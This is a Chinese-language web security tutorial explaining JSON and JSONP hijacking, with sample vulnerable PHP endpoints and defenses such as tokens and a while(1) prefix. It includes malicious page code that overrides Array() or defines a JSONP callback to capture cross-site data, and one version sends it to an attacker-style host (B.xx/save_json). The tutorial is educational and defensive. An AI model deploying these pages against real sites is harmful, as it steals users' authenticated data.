简介
恶意攻击者通过某些特定的手段,将本应该返回给用户的JSON数据进行拦截,转而将数据发送回给恶意攻击者。一般来说进行劫持的JSON数据都是包含敏感信息或者有价值的数据。
分类属于CSRF漏洞。
JSON劫持原理
条件
- 受攻击的网站URL返回一个JSON对象或者数组。
- 受攻击的网站能够通过GET请求返回JSON数据(最方便),POST也行不过需要钓鱼诱导。
- 受害人的浏览器没有禁用javascript。
- 受害人浏览了钓鱼/恶意网站,并且受害人在受攻击的网站中,保存在COOKIE中的身份验证信息尚未清除。
- 受攻击的站点没有做相关的防御措施。
分类
主要有两类:
- JSON劫持:主流浏览器有一定的防护、构造方法较为麻烦。
- JSONP劫持:JSONP是一种非官方的
JSON劫持场景
攻击手法
这个劫持的原理是利用了<script>
标签会自动执行js代码的原理,从而调用页面内嵌的恶意函数,将数据发送至攻击者的服务器。从而导致信息泄露。
但是现在主流的浏览器都对这种类型的JSON劫持进行了一定的防御,未能成功复现,故可能无效。
场景:
服务端(http://A.xx/getjson)
header('Content-type: application/json');
$jsondata = '["admin","passwd"]';
echo $jsondata;
这段代码会告诉用户的浏览器发送的数据格式为JSON,返回的数据是一个JSON数组,其中包含了用户的敏感信息。
恶意页面(http://B.xx/json_hijack)
<script type="text/javascript">
function Array()
{
var jsonData = this;
var message = '[';
for (var index in jsonData)
{
message += index + ", ";
}
message += ']';
alert(message);
}
</script>
<script src='http://A.xx/getjson'></script>
这个页面会自动将接收到的JSON数组通过弹窗弹出,在实战中弹窗函数会换成利用js发送数据到目标服务器。
<script type="text/javascript">
function Array()
{
var jsonData = this;
var message = '[';
for (var index in jsonData)
{
message += index + ", ";
}
message += ']';
var httpRequest = new XMLHttpRequest();
var url = 'http://B.xx/save_json?text=' + message;
httpRequest.open('GET', url, true);
httpRequest.send();
}
</script>
防御方法
该漏洞属于CSRF漏洞的一种,故跨域通过常规防御CSRF攻击的方法进行防御。
- 验证Referer头,不过这很容易绕过。
- 生成随机token,发送消息时伴随token。
- 过滤JSON中的数据,尽量减少敏感数据的输出。
也可以通过在返回的数据前方添加一个无限循环来解决这这个问题。
例如:while(1);["admin","passwd"]
原理是通过让<script>
标签执行无限循环从而阻止<script>
标签执行JSON,通过这个方法阻止了JSON劫持。
JSONP劫持场景
攻击方法
原理与普通的JSON劫持类似,不过返回的的值将为一个函数的形式进行返回,并且利用<script>
标签会自动执行js代码的原理,达成跨域传递数据的方法。
场景:
服务端(http://A.xx/getjson?callback=hack)
header('Content-type: application/json');
$callback = htmlspecialchars($_REQUEST['callback']);
$jsondata = '["admin","passwd"]';
echo $callback . "(" . $jsondata . ")";
这段代码会返回的数据为hack(["admin","passwd"])
,当<script>
标签执行这段数据时,就会调用hack函数。
恶意页面(http://B.xx/json_hijack)
<script type="text/javascript">
function hack(jsonData)
{
var message = '[';
for (var index in jsonData)
{
message += index + ", ";
}
message += ']';
alert(message);
}
</script>
<script src='http://A.xx/getjson?callback=hack'></script>
这个页面会自动将接收到的JS脚本的函数值通过弹窗弹出,在实战中会将弹窗方法替换为发送数据到攻击者服务器的方法。
防御方法
该漏洞属于CSRF漏洞的一种,故跨域通过常规防御CSRF攻击的方法进行防御。
- 验证Referer头,不过这很容易绕过。
- 生成随机token,发送消息时伴随token。
- 过滤JSON中的数据,尽量减少敏感数据的输出。